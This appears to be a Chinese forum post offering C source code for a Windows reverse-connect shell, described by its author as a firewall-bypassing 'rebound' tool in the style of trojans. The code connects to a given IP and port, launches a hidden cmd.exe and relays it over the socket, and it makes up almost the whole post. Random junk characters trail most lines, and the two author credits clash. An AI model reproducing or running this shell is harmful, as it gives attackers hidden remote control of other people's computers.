这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F|'u0JQ)$
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/* ============================== RFSwX*!
Rebound port in Windows NT 0DnOO0Nc
By wind,2006/7 tv~Y5e&8
===============================*/ z TPNQ0=|
#include rXBCM
#include O:~J_Wwl!
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#pragma comment(lib,"wsock32.lib") Wl+spWqW
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void OutputShell(); +7AH|v8
SOCKET sClient; XWNo)#_3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >lyE@S sA
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void main(int argc,char **argv) (u='&ka
{ VfDa>zV3
WSADATA stWsaData; ]O~$|Wk
int nRet; p*T[(\8{n
SOCKADDR_IN stSaiClient,stSaiServer; Z.x]6
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if(argc != 3) .RAyi>\e
{ a({N}ZDo
printf("Useage:\n\rRebound DestIP DestPort\n"); Bu?Qyz2O
return; f#7=N{wm
} bR:hu}YS
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;i/? fw[h
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )iK:BL*Nw
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stSaiClient.sin_family = AF_INET; D,lY_6=
stSaiClient.sin_port = htons(0); %q9"2]
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h^1!8oOYD
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k\dPF@~Hvl
{ I36%oA
printf("Bind Socket Failed!\n"); ">20`Mj8
return; 6-g>(g
} + 660/ e8N
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stSaiServer.sin_family = AF_INET; 0_Elxc
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &N+`O)$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \1n (Jr.<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WiQVZ{
{ 2+C:Em0yI
printf("Connect Error!"); kg7bZ
return; #T{)y
} _6`GHx
OutputShell(); ]l +<-
} ^,5%fl
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void OutputShell() HD2C^V2@M
{ ' u;Zw%O(J
char szBuff[1024]; H!OX1F
SECURITY_ATTRIBUTES stSecurityAttributes; .jC5 y&
OSVERSIONINFO stOsversionInfo; ZJF+./vN
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E`hR(UL
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STARTUPINFO stStartupInfo; Y|J=72!]
char *szShell; HvKdV`bz
PROCESS_INFORMATION stProcessInformation; #a2Z.a<V
unsigned long lBytesRead; Q>9bKP
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KhX)maQ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C+jXH)|iq
stSecurityAttributes.lpSecurityDescriptor = 0; $/5\Hg1
stSecurityAttributes.bInheritHandle = TRUE; ;3xi.^=B
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H+]h+K9\7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Tp.]{*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }bdoJ5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Bjp7v:w
stStartupInfo.wShowWindow = SW_HIDE; }~ N\A
stStartupInfo.hStdInput = hReadPipe; +RR6gAma}<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 55UPd#E'
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GetVersionEx(&stOsversionInfo); yJO Jw o^
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switch(stOsversionInfo.dwPlatformId) ?EPHq,
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{ ZWzr8oY)
case 1: Ruq>+ }4
szShell = "command.com"; (: kn)
break; >.9V`m|
default: 2_o\Wor#
szShell = "cmd.exe"; 4g}r+!T
break; NZADHO@0
} I@O9bxR?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FwHqID_!:l
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send(sClient,szMsg,77,0); .d$Q5Qae
while(1) |8[!`T*s
{ c&wiTvRV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nhC8Tq[m
if(lBytesRead) k\*?<g
{ $UK m[:7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V
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send(sClient,szBuff,lBytesRead,0);
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} =ud~
else @OUBo;/
{ }Y!s:w#
lBytesRead=recv(sClient,szBuff,1024,0); )p> p3b g
if(lBytesRead<=0) break; ^-n^IR}J
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iQG]v[$
} Z1+Ewq3m
} omy3<6
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return; hJSWh5]
}